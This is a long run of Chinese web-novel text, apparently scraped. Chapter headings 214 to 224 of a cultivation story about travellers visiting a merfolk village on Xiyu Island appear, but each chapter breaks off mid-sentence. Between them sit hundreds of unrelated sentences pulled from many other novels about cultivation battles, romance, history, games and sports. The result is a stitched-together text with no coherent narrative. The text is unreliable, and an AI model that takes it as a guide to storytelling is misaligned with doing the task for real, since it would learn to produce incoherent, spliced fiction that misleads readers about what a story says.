剑在深处温养,两个封印和玉皇经印记也相安无事。另一边的刘彻听到急匆匆的脚步声忍不住回头望去,随后夸奖着霍去病。这也是江佳妮明明知道杨安妮在哪里,却从来不对任何人说的原因。一整排持枪的士兵围了过来,牧凡被士兵包在中间。牧凡的脸色冷了下来,这些士兵简直不知死活。腹中胎儿来的太不是时候,别看图兰朵此时高举手,其实体内,内息已经流动到胎儿附近,只要她下定决心,只需要稍微一动,胎儿就不可能活下来。舞月在隐藏的时候被突如其来的水龙卷卷入水底,一路上她被卷的昏昏沉沉,刚落地,还没来得及幻化衣服就被牧凡看个精光。“这么久了?”江晚吟起身靠在床头,揉着眼睛,她看看外面,窗帘缝隙已经一点光没有了。沈疏棠感受到大家的真诚,帮助,无论什么时候都不是孤身一人,有很多仰慕着沈疏棠,愿意对沈疏棠伸出援手的人。“师兄,不可再耽搁了!”天池还在与林风交代,芙蕖问声叮嘱,这才看向林风。 第214章 鲛人一族 “好极,好极,有椰子!”前方一片椰林,油绿的叶子在海风的吹拂下轻轻摇曳,众人全都露出笑容。在山河秘境之中,水源比食物还要重要。食物有辟谷丹可以代替,但干净且人类可以饮用的水源却可算是稀缺之物了。海水虽无穷无尽,可不是凡人能喝得了的,事实上,海水中含有高浓度的盐分和其他溶解物质顿时未央的眼前一亮,真是的,自己今天是怎么了,怎么会把那么关键的人给忘记了呢?冷雪莉如此慎重,让龙烟华不仅皱起眉头,到底是怎样的事情能够被她这么高度的重视?找了一家饭馆,众人要了一桌酒菜,美美的吃了一顿,酒足饭饱之后,才起身离开了隐风城。化虚为空将两人纳入体内,施展空间移遁之法,离开了这个是非之地。车中分为了四个房间,这样的设计是极为别致的。整条队伍居然都飞在空中,极为壮观。事实上整个神界四处都可以看到这样的运输队伍,不过张涛却发现第一个神人扛着桑叶家族的旗帜。“呃……至于你们这次打斗,破坏学院的设施和建筑等各项东西,经过核算,双方必须赔偿三万五千金币。”那为首的人念着这个数字的时候声音都有点抖。“真的吗?那就没多少天了呢!我真希望能和微微分到一个班,这样上学一起,晚上还住一起。”水婉怡微笑的说。实际上,十五的战斗力已经很可怕了,在武术家中,已经远远超过了一般武术家,差一点就成为大武术家,这个战斗力能轻松打爆地球上包括龙形生物在内的大部分危险生物了。“可恶!你把我们剑咬之虎的地盘当成什么了?!”奥鲁迦大怒,挥手一道强大的黑色雷电朝着鸣人飞了过来。而金龙老者则是身形暴退数百米,手中的金色长剑也是劈出了一剑,整个身体一下子变成了七道身影,七道身影同样的劈出了一剑。至于些许味道的话,反正姐姐说过的,这玩意只要用水冲,多稀释个几次也就威胁不大了。数百道掌影瞬间拍出,围绕着黄魔大帝四周,如无敌的大军气势爆开,要向四方征战,一往无前,视死如归。而在耀眼白色光晕中,只见冲出宽大衣衫的墨多,体型急剧巨大化中,裸露的肌肤也白的有些诡异,并且褶皱额头表皮上,凸显出一个个的疣疙瘩。大皇子身上气势一发,天地咆哮,一尊强大的帝王发怒之下,血流天下,巨大的杀戮之气连苍天都不忍的发出了嚎叫声来,无尽的帝王之气压向楚无礼,带着不可动摇的命令,要把楚无礼给磨灭掉。鸣人听了一会,见这几个散修越谈越起劲,不禁感到十分的无语,心想难怪这些散修只是炼气初中级的样子,就这样天天想着逛窑子,这修为还能上的去?国王卫队,边荒地带里最有名的几支舰队之一,令无数敌人胆寒的存在。古辰重新打开了系统商城,购买了两张神王级别的神力补充卡,分别帮助自己和古月娜恢复了神力。张毅这回很顺利的就把郭语珊给救下来了,之前是为了杀掉那些跟踪者,所以故意拖延时间。燕翰坠落在半空时,强忍住魔气的继续侵蚀,调动全身解数,施展了玄甲术。结果刚施展出来,身体便已经砸向地面,当真玄之又玄。 第215章 入鲛人村 众人略作商议,一致同意跟着那鲛人少年,前往鲛人的部落。 陈子均懂得鲛人语,便成为了双方的翻译。 一路上,众人从鲛人少年的口中得知,这一带临海,因此多岛,此处非大陆,而是其中一座较大的岛屿,名为汐语岛。 包括汐语岛在内的大部分岛屿,居住的都是附庸于真龙一族的海妖族群,还有一些类似于蛟 夏丁雨穿着一身黑衣,双手插兜,两根眉毛微微挑起的,直视着镜头。 没错,屠夫房间的大半个墙壁都是他认为值得收藏的强力对手的头骨。 “马上就要战斗了,你不去看看自己的武器装备吗?”嘉丽斯说完转身就走。 这就更不用说,在打熬气力跟身体方面,基本脱胎于普通人当中的武功秘籍,在通往超凡之路方面无疑更具有操作性和可行性。 自己当初居然还准备自掏腰包给他20万买歌?自己掏钱找老板买歌? 哪怕是星爷的老片子,现在之所以还能看得进去,情怀是很大的一个因素。 于是乎,百多年来,无论官方、或是民间的甲午反思,大都对北洋舰队官兵扣上了”无能”的帽子。 在他的不远处,伊东祐亨也是双手紧紧扶在“平城丸”号商船的舷侧围栏上,盯着那远处舰只天桥上迎风飘扬的龙旗,双眼放光、目光如炬,仿佛若有所思。 既然他已经知道了自己的真面目,她也不想再伪装下去了,只要能得到她,她愿意做任何事情,她只在乎结果是怎样的,至于过程又有什么关系呢? 对于这个不到二十岁情商明显不足的愣头少年白钢是懒得搭理了。 并且青龍‘门’可是这大陆数一数二的宗‘门’,她早些进去还能省掉不少麻烦。 宜宁僵硬了一下,被他迎面避来的男性气息弄得心里乱。被压着促狭般的吻,鼻间全是罗慎远的味道,粗热的唇瓣与她重迭。他捏着她的腰与她头相抵,越发的灼热了。 慕容晓立即神色一沉,是谁?是谁在深夜无法防备之时放了迷烟,带走了人?意欲何为?是冲着何人? 也许以后他除了对主子的忠诚外,最该学习的便是对爱人的信任与坦然。 顾青是个认真的徒弟,练武功最开始最难坚持的就是基础功,且还要看是否有你悟性和坚持。顾青两者皆有。 “清荣表哥……”这到底,是谁在说话?它们口中所说的人数翻倍,又是什么意思?月上殷倩十分不解的目光看向月上清荣以及,月上轩仁。 可是,再一想,他的确让她做了噩梦没错,可这算不算也是一种提示呢?搞不好,这是哪路心地善良的神仙给她托的梦呢? 只是……十三细细想了一遍,确定自家主子今天祈福过后,除了睡什么都没干,那她是怎么知道的? 她说出这样的话,尘封便已经猜到了一二,有些惭愧地望了一眼冰漪的背影,默默垂下头去。 被那个无耻的太子气的穆倾本郁结的心更加‘阴’郁,面‘色’也不是太好,而穆青云早就在一旁被那些好事的王公大臣拉去炫耀,一雪之前的耻辱。 阿米尔接了花儿,虽是笑了,但没过一会儿,又恢复原样,仍是闷闷不乐。 毫不犹豫一头扎进识海空间,看到识海上空一道道法则链条正在拉扯一个神秘的魔球。 第216章 怕他自卑 陈子均轻轻叹了口气,语气中带着一丝无奈:“只是,到了那个时候,恐怕有人不会同意我们隐居山林了。” 他的话让胡翘翘心里一惊,几分惊讶几分不解还有几分恼怒交织在一起。 “有人不同意?谁啊?” 这明明是她和相公两个人的事情,怎么会有旁人如此不知趣地来干涉? “到时候,我们说不定都得 王座前的伯伦特牵着伊芙的手,右手虚压露出矜持的笑容。他的威望如日中天,哪怕是简简单单一个动作,也让宴会内的贵族们立刻停下交谈与掌声。 简简单单一句话却让劳伦斯大惊失色,如今,这个纵横北境多年的王者再也无法保持基本的镇定,他身体晃了一晃,满脸骇然之色。 与叶寻思绪复杂不同,苏青说出这件事情之后只觉得一阵轻松,说到底都是她做事太过优柔寡断,非要用这样的方式来回绝叶寻,其实苏青大可以直言拒绝,而不需要将自己的秘密公布出来。 何况今天的凉虾还比冰粉贵,要是没有别人怎么也能卖出去,可是现在多了选择,别人还会不会选择自家的呢? 林清泉长吁短叹了好一会儿,终于决定不再纠结她是一条蛇的事了,反正她平时还是人的模样,不影响日常生活。 “咳,别人黑历史有什么好听的,老师你来是有什么事么???“布鲁斯知道不好,所以赶紧将话题从奥尔瑟雅转移到了邓布利多身上。 三人暂时停止讨论,不约而同地将注意力集中到会场上。只是内厄姆却时不时地看向会场外,似乎在隐隐期待着什么事情的发生。 看来自己先前的那番做法,虽然唬住了一部分人,但是大多数的人都不是什么好忽悠的,这些家伙明显察觉出了事情的不对劲,应该是他们中也有人有类似于青莲世界这种的独立空间或者是空间法器。 “但并不妨碍有人借用他们的力量,这才是最让人忌惮的。万一巫真族投靠北荒,北荒与我朝相邻,廖兰国怕是不仅拍手庆贺这么简单了。”苏锦臣道。 定界传送打开的空间通道存在的时间极短,从打开到关闭,这中间间隔的时间很短很短,而与此同时,当这空间波动刚刚平复的那一刻,罗修瞬间启动空间穿梭,一步远离万里之外。 徐平从黄秋子住处回到火云宫在紫霞门住的宾客地方,刚按下遁光就看到谈道清等人迎了出来,不过在火云宫众人之中还夹了一个长须男子,正是之前交过手的仙尘宗太上长老公治玄。 “岩盾!”辰岩单手对着地面,顺势高高举起,面前一块巨石从地面深处被硬生生拔了起来,立在辰岩面前,既然躲不开,那便只能防御了。 彩鸳从黑暗之中显露出了身形,手上拿着一把匕首,匕首上已经沾染了血液,彩鸳正是用这把匕首,收割了他们的生命。 “杀!”一声令下,盾牌军后面的长枪兵突然架起长枪,猛的往前一刺。 当初送出去的那五颗石头,村长说再多给几颗,北霆愣是一颗都没多给。 颜良一看,心里哇凉哇凉的,就差那么一点,没想到又功亏一篑。 说话的是兰松,不仅他自己来了,后面还跟着一个黑衣老者,那老者约有六十多岁,穿一身黑色劲装,一头短寸的白发根根直立,嘴边几根白色的短须犹如钢针,看起来精神之极。_ 第217章 最好朋友 汐水村。  鲛人们见到被陈子均和胡翘翘带回来的鲛花,还有浑身是血的蛟草,全都吓了一跳,连忙派人去通知了族长鲛萱。  鲛萱闻讯,立即赶来,听说蛟草被熊抓伤了之后,也是心中一紧。  她连忙让几名鲛人从陈子均和胡翘翘的手中接过两个孩子,再将小男孩抬到自己的屋中找个角落放好,蛟草俯下身,仔细去瞧  她两腿分开肩膀宽的距离,双手叉着腰,对着顾锦汐扬了扬下巴。  “我的意思是,直接动手,先打他娘的再说!”加洛斯沉吟了声,道。  孙家的仆人第三次回来,脸上青一阵白一阵,跟打翻了染缸似的。  此时二皇子也看到了达瑞与兰利尔,他同样也想到了什么,脸色变得非常难看,就好像是看到自己老婆正在偷人一样,心里又窝火又丢人。  阿生拉扯看上去有些疲惫的祖父的袖子。事情已经发生了,机会已经错失了,重要的是接下来怎么办。  手里握着四百号往后的解药,一步步贴近真相的同时,看他们在为五十来号的解药愁得水都喝不下,心情不要太舒爽。  这对素意来说本来就不是一个救不救世的问题,而是决不能让男性开发出解药,怎么样才能不让他们开发出解药的问题。  看到这种情况,艾莲娜决定把丝丽也吸收到内卫的行列中,毕竟十六岁就能有这样的成就,是不多得的人才。后来在得知前方的战事之后,艾莲娜被招回帝都处理事务,就把丝丽也带了回来,将她安排到帝都魔法学院学习。  狮虎经这一下,变得更加凶残,仰天一声长啸,一双巨大的爪子将巨蝎直接撕成两截,末了还不忘释放出强大的雷电将残尸劈成焦炭。  不过……动监控记录也需要经过施烨的同意,毕竟他是这个堡垒的主人,他有着全局掌控的权利。  二人正聊着,突听得一个洪亮声音在厅外传来:“娘,你叫孩儿过来有什么事?”李逸航眼光转向厅口,一个矫健身影步入大厅,正是洪仁海。半年未见,洪仁海的内力似乎增进不少,说话声音中气十足。  蓝祺儿闻言赶紧就跑到了精卫身旁,替她细细把起了脉来。忽然间,双眼闪过一丝不知是喜还是忧,徘徊不定的眼神。她没有多言,扶起精卫就将自己的仙气强行灌入精卫体内,奈何精卫拒绝接受的强排了出来。  这一刻,纪尘的双目变得灿烂无比,两个眼瞳之中,猛地射出两道光芒,轰向了宁江。  鬼脸咆哮。口吐道道紫黑光芒,不断轰击而来。贤者却恍若未觉,撑起护罩抵御同时,双眸一眨不眨,望向脚下流淌不息的血河。  “哎,这不知道我是造了什么孽,怎么生了你这么个混账儿子”中年人脸上带着宠溺的笑容,无奈的说道,只是那语气,怎么听怎么不像是责备,倒像是夸奖,赞美。  “因为他说要对我负责。”就在林沐沨纠结时,一旁的希娅,却是微微一笑,接口道。  他看着正在满意地喝粥的老头,心中无法想象,再过上十天半个月,这个坚持不用有机酱充饥的老头还能不能坚持住自己的原则。  “叮!”忽然,屏幕上发出一声脆响,然后屏幕一闪,屏幕上整个画面发生了变化。  凡事皆有两面,正如许娇容盯她盯得紧,一方面减少了她与许仙独处的机会,让她十分欣慰。。。一方面。。。也减少了她与别人独处的机会~这个别人不幸包括岑碧青。。。 第218章 招待贵客 与此同时。 山坳深处,一头体型庞大的母熊正带着两只毛茸茸的小熊觅食。 母熊的皮毛如同灰缎般闪着光泽,粗壮的四肢踏在地上,发出沉闷的声响。两只小熊则像两个滚动的毛球,跟在母熊的身后。 它们还很年幼,因此对什么都感到好奇,任何新鲜有趣的动静或是事物,就能让它们受到吸引,跑到其它地方。 慕容亦瑄心头微颤,哥哥,她刚刚唤了自己哥哥,两年来,他们之间疏离的犹如陌生人,自己本就是个沉默寡言的人,而她,从不主动与人交谈,永远都是那般沉静恬淡。 坐在桌旁,看着那满桌精致的菜肴,易于平日的全素,今天多了几道荤菜,想是特意为他准备的,这个丫头的心思很细腻,只是她鲜少表达出来。 苏夏只觉得心中悲伤无比,即使时过境迁,但此刻面对自己的哥哥,那些好像已经被尘封的往事都一一涌上心头,让她觉得坐立难安,甚至有一丝茫然,不知道自己该说些什么,该想些什么。 主路全是大青砖铺路,两旁却是红砖铺路。然后是几乎完全一样门头,门脸的临街店铺,只是每一个店铺门口都挂着一模一样的牌子,写有大致相同,都是新年大喜,停业三日或是五日、七日。 正聊得高兴,突然听到旁边包间传来异响,似乎是瓷器碎裂的声音。 过了顿饭工夫,天边出现一团彩云,与此同时另外一边也发出闷雷声,一座恢弘的古堡飞来。 创之种子表面已经布满了裂痕,光芒也彻底黯淡下来,显然已经到了临界点。 “今天伤到哪了?严重吗?”冷昊轩在唐宁安的床边坐了下来,轻声的问道。 兰翎凤从副驾上下来,推开门的瞬间,正看到阿冥正拿着手枪对准自己,一时间脸上尽是失望与愤怒。 千风顿时觉得失落无比,眉山是什么地方不用旁人回答,能够同青玄门齐名,身居四大圣地之一,若是连千叶都困不住,那就是天底下最大的笑话。 罗玄说着,高举杯盏的两袭宽大红袖竟在颤抖,伏羲深目看他,半晌不语,似要洞穿他三魂七魄,鸿蒙末日。 英雄联盟内的复活最低时间是10秒钟,就算是你刚刚进入游戏装备还没买,甚至泉水都没出就死于非命,复活时间也将会是10秒,不可能在这个时限上面有哪怕一丝丝的减少。 其他人都能看着他的背影在自己眼前越来越远,直至消失不见,至于追逐?大概也就只能追一追脚印之类的吧。 对方的打野螳螂几乎敏锐的躲开了她的每一次入侵,因此她一时间倒也是也没有太好的办法能够搞对面,偶尔偷了对方野区的一组野怪之后结果刚回自家野区就发现也少了一组甚至两组野怪。 当亦阳持球突到罚球线后一步的时候,他忽然往侧面击地一传。紧跟在后的马里昂后来居上,拿走篮球直接起三步杀入禁区。 “凭他那个脑子,根本就想不到在这时候冒头,肯定有人跟在他身后出主意,而且出的还是馊主意。”冷少辰说道。 当晚,连颖驾车带着妹妹连雅要回b市时,发生了车祸,两人被卡在车里,直到汽车爆炸,两人都未能逃出来。 那么大的声音,直接把诗敏吵醒了,当诗敏睁开眼睛的时候,就看到大家气愤的样子,诗敏不解了,随后低头看看自己,应该没有做什么坏事情吧。 第219章 息壤改造 陈子均微微一笑,“不知族长这里可有稻米或小麦的种子?不用太多,十几粒即可。” 鲛萱一愣,说道:“种子自然是有的,只是在这盐碱地上也种不活,便一直存在库房中。不过,阁下要种子有何用处?” “我恰好有些手段,或许能将它们改良成适宜盐碱地种植的品种。” 对于陈子均所说的手段,鲛萱其实并不 天茗淡淡的看了眼江白流,并不理会,端起茶杯,闭目一闻,满脸的享受。 “我看还是你先出手吧,我一出手,怕是你再无机会了。”江白渡道。 机会难得,很多没有被邀请的人,为了能够参加,往往会花费重金求购。 加之接下來几个月可能就要经常到藏经‘洞’府來了,而看这位黑脸师叔似乎是藏经‘洞’府出入的管理者,‘交’好他倒不会有什么坏处。 后来宝葫芦成熟,徐大山也没有想着采摘,结果种子落地,现在空间内长了几十株宝葫芦,基本已经成熟。 虽然修为停留在筑窍初期,但他还是跻身于内门长老的行列之中。 接下来几天,网上论坛、朋友圈沸腾,被一种叫兰花纤体瘦身茶的化妆品刷屏。 天作孽犹可怜,自作孽不可活。徐老三和郭老大丧尽天良的坏事做尽,徐大山又怎么会轻饶他们。 将军哪里有时间去搭理这名守门的士兵,他越过众人,直接走到马车旁。 不过再强大的心态保护,也避免不了战争的冲击,当地精屎黄的牙口出现在鲁鲁修的眼中,右手挥舞的木棒或石斧带着微弱呼声劈下,任何人,都不会走神。 皇甫嵩阵前劝降马腾,马腾经此一役,三万人马只剩下三四千人马,灰心丧气,丧失了在凉州继续称霸的雄心,决定依从皇甫嵩所说,跟马超、庞德一同前往邺城,在吕布帐下听命。 chun梅听罢更加面露诧异,因为张宁说话左右摇摆的时候并不多见,不过她也不好再问什么,当下便应了。 悄悄地从三米高而且还要带上铁丝网的墙上翻过去,李维都觉得这不是在看学生而是在看犯人。等到一落地,李维就更加后悔了。 虽然是作弊,虽然是地府的作弊,不过李维依旧漂亮的赢得了那一场几乎是oho的竞技角斗。骨头都轻了三斤,腰子都变得有力了,一口气上五楼都不费劲了人生得意之时,他自然满面春风。 这需要多强的实力?即便是半尊强者,也无法做到!难道,如今的卡其,已经踏足尊者了? “这老混球!居然敢使用灵魂索引这种禁招!难道他就不怕遭到全大陆的追杀么!”陈柏风即使涵养再好,再有骑士精神,此刻也禁不住大骂起来。 一来是为了树立至孝的名声。我们大汉上下都极为重视孝道,曹cao为了父仇而屠城,虽然看起来很残暴不仁,但除了徐州人之外的其他大汉子民,反会觉得曹cao是一个真情真xing的大孝子,对他心生钦佩。 曦雪紧紧盯着身子悬在那里的杨朔铭,在确定了他不会掉下去之后,轻轻地吁了一口气。 一发,两发的话,这些风之长矛完全不是星光的对手。可最终从那巨大的风眼之中涌出来的,是数以万计的长矛,每一发星光都遭遇到了无数次的阻挡,导致最终轰到暴风之龙身躯上的时候,威力不可避免的大大减弱了。_ 第220章 蛟龙一族 黄昏,海平面处,落日将坠不坠,天际和海面全被染成一片绚丽的橙红。 不远处,几只海鸥盘旋迂回,偶尔朝着海面俯冲而下,再飞起时,喙中已叼着一条活蹦乱跳的小鱼。 突然,海鸥们骚动起来,啾鸣着,振翅四散。 原来,远处一只巨大的白鹤正呼啸而来,在白鹤的背上,还有两道身影,自然是元玉柔一行三人 怪不得雅虎华夏之前迟迟无法在华夏打开局面,不说别的,就说这套办公流程,就让他们处处受制。 格利扎再也没有力量躲避攻击,在光束中倒在地上,爆炸的光芒将整片天空点亮。 除了每个周末的夜晚或者清晨,林枫感觉自己活得像是个退休后的老头子一般,每每望着刘忠军与石佳慧等人激情满满的工作时,他总是很羡慕。 韩景睿本身就是一个顶尖高手,就算是柳夏子不说,他也知道什么时候是机会,比如说现在,他怎么可能错过? “释放,这在我们的考虑范围内,只要你能满足我们的需求!”巫师肖恩说道。 说不好奇是假的,这几个月来,众人心中都有一种感觉,也许这神梦界的秘密,沐夏真的能解开? 她完全入定,封闭了五感,在本源之力疯狂地涌入中又是欣喜又是惊讶。 闭上眼睛,好好地思考着这份基因的分量,只是看的时候,他发现,这能力之所以那么强大,很大程度上是和这片异人基地有关系。 李明要到年底才能回家,所以吃完饭林枫就驾车朝着刘家山驶去。 看着神树的动静,留守的阿凡达都以为发生了什么事情,聚集在一起讨论着,丝毫不知道,是他们的神树大人在失态。 一大妈说完,也没停下,转身就进了屋关上门,没跟其他人打招呼。 依靠的老者这样的身体素质,很显然不可能打太长时间的持久战。 经林觉这么一提醒,鹤清羽才反应过来两人不是来这里泡熔浆温泉或者玩暧昧的,而是来调查“灵气复苏事件”真相的。 看着大人们继续聊天,偏了一个角度假装准备离开,选了个不同的位置继续偷听。 “前辈,你的伤势?”黄泉大手印的万世印太可怕了,幽冥教主要不是因为底蕴雄厚,只怕刚才那一次冲撞,就会让幽冥教主完全败北。 反而是无数脉络纠缠行走,宛若人的胸腔,无数“血管”接连着一个巨大心脏。 金鹏身边, 触手,血肉骨梭都被凭空升起的电芒纠缠住, 难以近身。 “水生木。”仙波石蕴藏的力量强大,枯黄树叶将仙波石直接融化成为纯净的水道力量。水道元气强大,滋养枯枝,使得枯木逢春,换发生机,生机绽放,瞬间就将四周的魔气洗涤感觉。 紧接着,从路边的树丛里窜出了十个黑衣蒙面人,摆出阵型攻向慕景睿等人。 林天说着就进去了,因为之前第三层已经过去了,所以现在要做的就是必须要通关第四五层。 只见,思奈伸手一指,一道时空门打开了。龙明心还没反应过来,就被吸了进去。 所有惊呆了,这居然是飞影。那素未谍面的飞影,龙明心想到刚才那道合击技,就抽撞了一下。 现如今大家都进行了一对一得教学,因此教室也都不用去了,想学什么直接去寻负责的导师便可,因此奚玖月但凡只要是得空了都会往南宫玖黎的院落里跑。_ 第221章 去挖珍珠 元玉柔心中暗恨不已。她只知道蛟龙一族大多性格暴戾、喜怒无常,却未想到她分明以蛟龙语开口阻止了,对方依旧装聋作哑,将彭川给吞吃入腹。 这一刻,她隐隐有些悔意,若当初未如此冲动,或许留在鲛人一侧,也许还能设法周旋出前往下一层的途径。 然而,此时彭川已经成为对方的腹中餐,再怎么气恼与懊恼,也不 “到了,我们下船吧!”云船平稳降落后,阮经天便没好气的说了一句,随后就率先走下了云船。 墨笙儿的心情就好像是失恋了一样,甚至,她感觉,她和厉南衍之间已经结束了。 这边……原来的未婚夫妻吴家少爷却茫然的看着闯上来的两人,吴曦瞧见了沈安。 “好,各自去准备吧!”说完,张方带着卫虎和尕娃在来时候的通道中离开了。 他想在抱一抱她,想再摸一摸她的头,想在她难过时安慰她,想陪着她。 厉南衍眸光落下,落在她白嫩的肌肤上,看着这样活色生香的一个画面,眸底顿时燃起一片炙热。 “这个我还真不知道,不过皇上有过批示,我想怎么做就怎么做,就连庆亲王府我也可以直接搜查,不知道这个资格够不够?”张方身体前倾,看着李光明。 “卫虎,让弟兄们按照合适的型号,将他们锁子甲给前辈的部下。”张方看了卫虎一眼。 然而就在玄天以为,黄天等人会放过自己时,一旁的另外一名神王强者,此刻却突然皱眉是说道。 距离门口还有二百多米,张逸将整个计划讲述了一遍,进行人员分工,老队员们人人脸色大变,觉得太过冒险,新队员则摩拳擦掌,跃跃欲试。 “海总,你这话说的可是有点儿过分了,大家都是一个公会的战友,有什么问题不能好好沟通呢。”在听到海总激烈的言辞之后,站在一旁的联络员赶忙上来劝阻。 这中间的反面例子就是,日俄战争时期,因为英法等强国,拒绝的俄军军舰补给和清理,俄军从地中海,一路绕行上万海里,到亚洲参战,哪怕还没有到,就已经失去了一半以上的战斗力了,由此可见一斑的。 甚至有一队日军,竟然悍不畏死的把手雷丢进了一个储存105榴弹炮弹的弹药点,最少40枚18公斤重的105榴弹炮炮弹殉爆形成的火球将大半个战场的上空都给照亮了。 府邸内,任何传承者都不允许查探的,一旦有人用神识去查探,五彩极光湖就会动,瞬间湮灭窥探者。 篝火靠近里面的位置,有着一个黑色的炉鼎,鼎中是绿色的液体。 法拉利哐当哐当的停在了车子堆中,周围的人,都惊讶的看着这辆被毁的极为严重的法拉利缓缓的停了下来。 萧惠这才注意的看过去的,只见伴随着号角,宋军的阵营明显的收缩,后退,退出了攻击的范围。 能量在经脉里流转,不断的温养着唐辰的血肉骨骼,而在这个过程中,唐辰的身体也发生着脱胎换骨的变化。 包薇薇一看到她们的眼光就知道她们的脑子里现在在想什么,连忙就拉上唐瑄礼出去了。 此时,刘大帝端坐那龙撵之中,看到对方有一员虎将飞出,立马着三坛海会大神哪吒前去迎敌。 秦家堡也是保皇派的主要力量之一,顾家垮了之后,司马昶的安危改由秦家负责守护。像石画楼、窦鱼龙、贺五陵等人都是秦家寻来的人才,人们普遍认为,正是有秦家,才有如今有才有能的宁帝。 第222章 寻水之精 胡翘翘这才知道,原来她脚下的压根不是什么大礁石,而是一只比房屋还要大上几分的海龟。 海龟晃了晃脑袋,几只海蟹骨碌碌地从它的头顶掉落,而后,它张开嘴,喉咙深处传出一个苍老的声音,“小花儿,你又来找婆婆,有什么事啊?” 鲛花游到它背上,笑嘻嘻地说:“婆婆,你带我和姐姐去挖珍珠吧,好不好?” 林峰用从系统兑换出来的医术将老约翰治好之后,惹得一众人等颇为激动。就连那记者美瑟林,也提出来要拜师的要求,对于这一点,林峰自然是非常的头痛。 “好了关谷,我们一起出去看看吧。”林峰对着关谷说道,对于自己的这个朋友,林峰是十分的想把他培养出来的。 血歌拿出了一些碎银子,这些都是劫富济贫来的。他去劫走的人家,绝对是大富大贵铁公鸡,而他要救济的人,也绝对很穷苦,那就是血歌他自己。 麒麟一族能成为洪荒三大族之一,也是经过了无数拼杀,不知有多少种族因此而灭。只可惜,今曰陨落的却成了自己。 且说,姜鑫率五千兵马按照岳飞的指示昼伏夜出,一路之上不按营不扎寨,竟然也未引起太多的人注意。而幽州军的探子也被困于城中不得脱身,故而此时的刘虞对岳飞发兵之事丝毫不知。 “。。。。。。好。”八神庵顺手接过后对着雅典娜点了点头,“八神先生会不会因为成为一流格斗家后,就不会再给我写歌了?”雅典娜穿着水手服,一脸微笑的问道,目光静静的看着八神庵的眼睛。 一向温婉端庄的水无忧鲜有的严肃了起来,说完话没给三人继续发问的机会,身形闪烁已在千米之外。 至于林峰提汪锋说话的那一段,苏琪因为看到林峰转身,实在是太高兴了,根本没顾上想一想林峰是什么意思。 迪丽热吧点开游戏,只有正常的载入界面,没有运营公司,没有特殊标识,乃是彻头彻尾的三五游戏。 听说有人能捞到去大明的机会,还能光明正大,往欧洲带货,这些水手的清八大姨,还有嗅觉灵敏的商人们,纷纷找到他们,主动塞给大袋满满的金币,让他们带货回去。 看过一圈,吴申更加确定这个星球上的确荒凉无比,比火星那种鬼地方也强不到哪里去。别说宝物了,就是一口水都没有。 能拥有这种强大气场之辈,在整个青州恐怕除了姜凡,难有第二人可以相提并论。 不过,林枫可不能这样轻易草率就同意,虽说很需要,但是还是要有一丝矜持,不然手里就没什么东西和他们谈条件了。 她的心中并没有什么拒绝的念头,因为她本来也没有拒绝的意愿和动机。 楚恨离谦卑道,“老先生说笑了,只是一株寻常药草而已。”说着,楚恨离从储物戒里取出昨日催生出的百味子。 楚迪突然感觉手中控制器又能很好的控制飞行器的方向了,赶紧操纵着飞行器全力拉升高度。 两人平静如初的回到暗之城边缘战场上,这里早已经一片狼藉,大多都是暗修的尸首。全部都是风雪的佳作,一人手执冰晶大剑,在这里疯狂屠戮。 这点,也是让林枫感觉到最意外的一点,以他对马华滕的了解,马华滕绝对不是一个如此大方的之人。 第223章 真龙苏醒 元玉柔微微眯起眼,轻拽了几下白云飞的衣袖,待他看过来时,指向鲛花,“白道友,你看,那小鲛人手中拿着的,莫非就是水之精?” 白云飞看清后,扭头问元玉柔:“怎么办?” 此时此地,周围只有这小鲛人独自一个,鲛人是海中宠儿,任何海中生物都不会伤害他们,即便是以凶残嗜血闻名的巨齿鲨也是如此,或许正 “许佥事,为何现在还不让领取尸?”李宏宇知道许显纯也是奉命行事,于是不动声色地问道。 更重要的是,在赛季结束后记者们就再也没找到过肖邦,阿伦,甚至费城的主教练拉里布朗跟总经理道尔都好象一起消失了。 因此,赵欣在得到秦月有事相找后晚上并没有留在齐党聚会的那个青楼里,而是选择了回府。 当初我们几个地下党的同志,不幸被郝光伟的手下抓获以后,组织就派我们一些人潜入山南州,准备进行营救。 而无忧知道自己眼前的这个混账继续轻视自己的话,那么自己使用大杀招一招秒杀对方的机会就会越来越高。 额……这倒是一个问题,据我所知,这茅山的洞天福地之内,一切电子产品都是没有信号的,如果不是清修的道士,在外面过惯了的人,肯定会受不了的。 今天出了这么大的事情,学校的课程恐怕也不用上了,毕竟现在大半的同学都住进了医护室,就算要上课恐怕也没有人会去听课了,所以在这边事了之后,伊格尔已经打算直接回家了。 “没有!表面上看,这三个家族的人都没有明显把爪子触到西南来的迹象!”陈五应道。 “陈姑娘,听闻你跟江南四公子之一的冒襄情投意合,不知传言是否属实?”等陈圆圆来后,李宏宇不动声色地开口问道。 有这么多丧尸围着,即使幸存者想要过来,也是件十分不容易的事情。 大军从京城穿过,老百姓们有些跪在街道两旁,有些站在酒楼内观望。 只要他闪躲,魏无忌就能趁机踏上山顶,到那时,可就很难拦得住魏无忌。 卫衣男的眼神一瞥也是注意到了我的进攻,只见他左手上抬挡住了我的勾拳,俯下自己的身子左手左拳对着我的下巴就是一记上勾拳。 白发老者的的确确属于破碎境的实力,只不过算不上破碎境中厉害的存在,而刘萱菲的情况就有些不一样了,刘萱菲身怀三系属性,凭借着自己的极限,强行突破至了破碎境初期。 我虽然心里微微有些诧异,却也没有深究,而是找到了毛巾,从她家的热水器里面接了一盆热水,将毛巾沾热了之后,苗兰也进来了。 她为的就是不想让叶凡分担精力,毕竟现在的叶凡还在成长期,如果被自己耽搁了,那么叶凡还真的没有机会了。 刚来这里的时候,好像有人告诉过他口号,但是他没当做一回事,也没记,到了现在,却只能哼哼唧唧的张嘴,喊出去的是什么,实际上他也不知道。 王川也不傻,能够一脚将他找来的人踹飞,很显然对方并不是善类。 “又是这招,真是愚蠢!”蛮牛不屑的说道,举起右手准备朝着亚门打去。 授业讲课的不是秋道仁,而是易云,旁边有五个师弟陪坐,其中就有邹奇。 “嘿嘿,等下你就知道了,我妈是有多残暴!”安娜背过身,暗暗的偷笑道。 第224章 能屈能伸 怎么说也是妈介绍的相亲对象,虽然不知道自己躺在监护室的时候,程浩再外面跟常翊说了些什么,但是现在也算是摆明态度了。 这个巷子一般的人并不会到这儿来,周围这一带,几乎人人都知道这儿乱。 登基大典那日,我作为皇后并没有出现,是梁诗秀陪他走完了仪程,悬着贵妃的名号。这一日最伤心的人,莫不过被禁在冷宫里的淑妃。 走进大屋,里面是一堆的粘贴的纸壳子,地上更是脏乱差到没办法下脚了。估计是因为要赶工,所以没时间打扫房间吧。 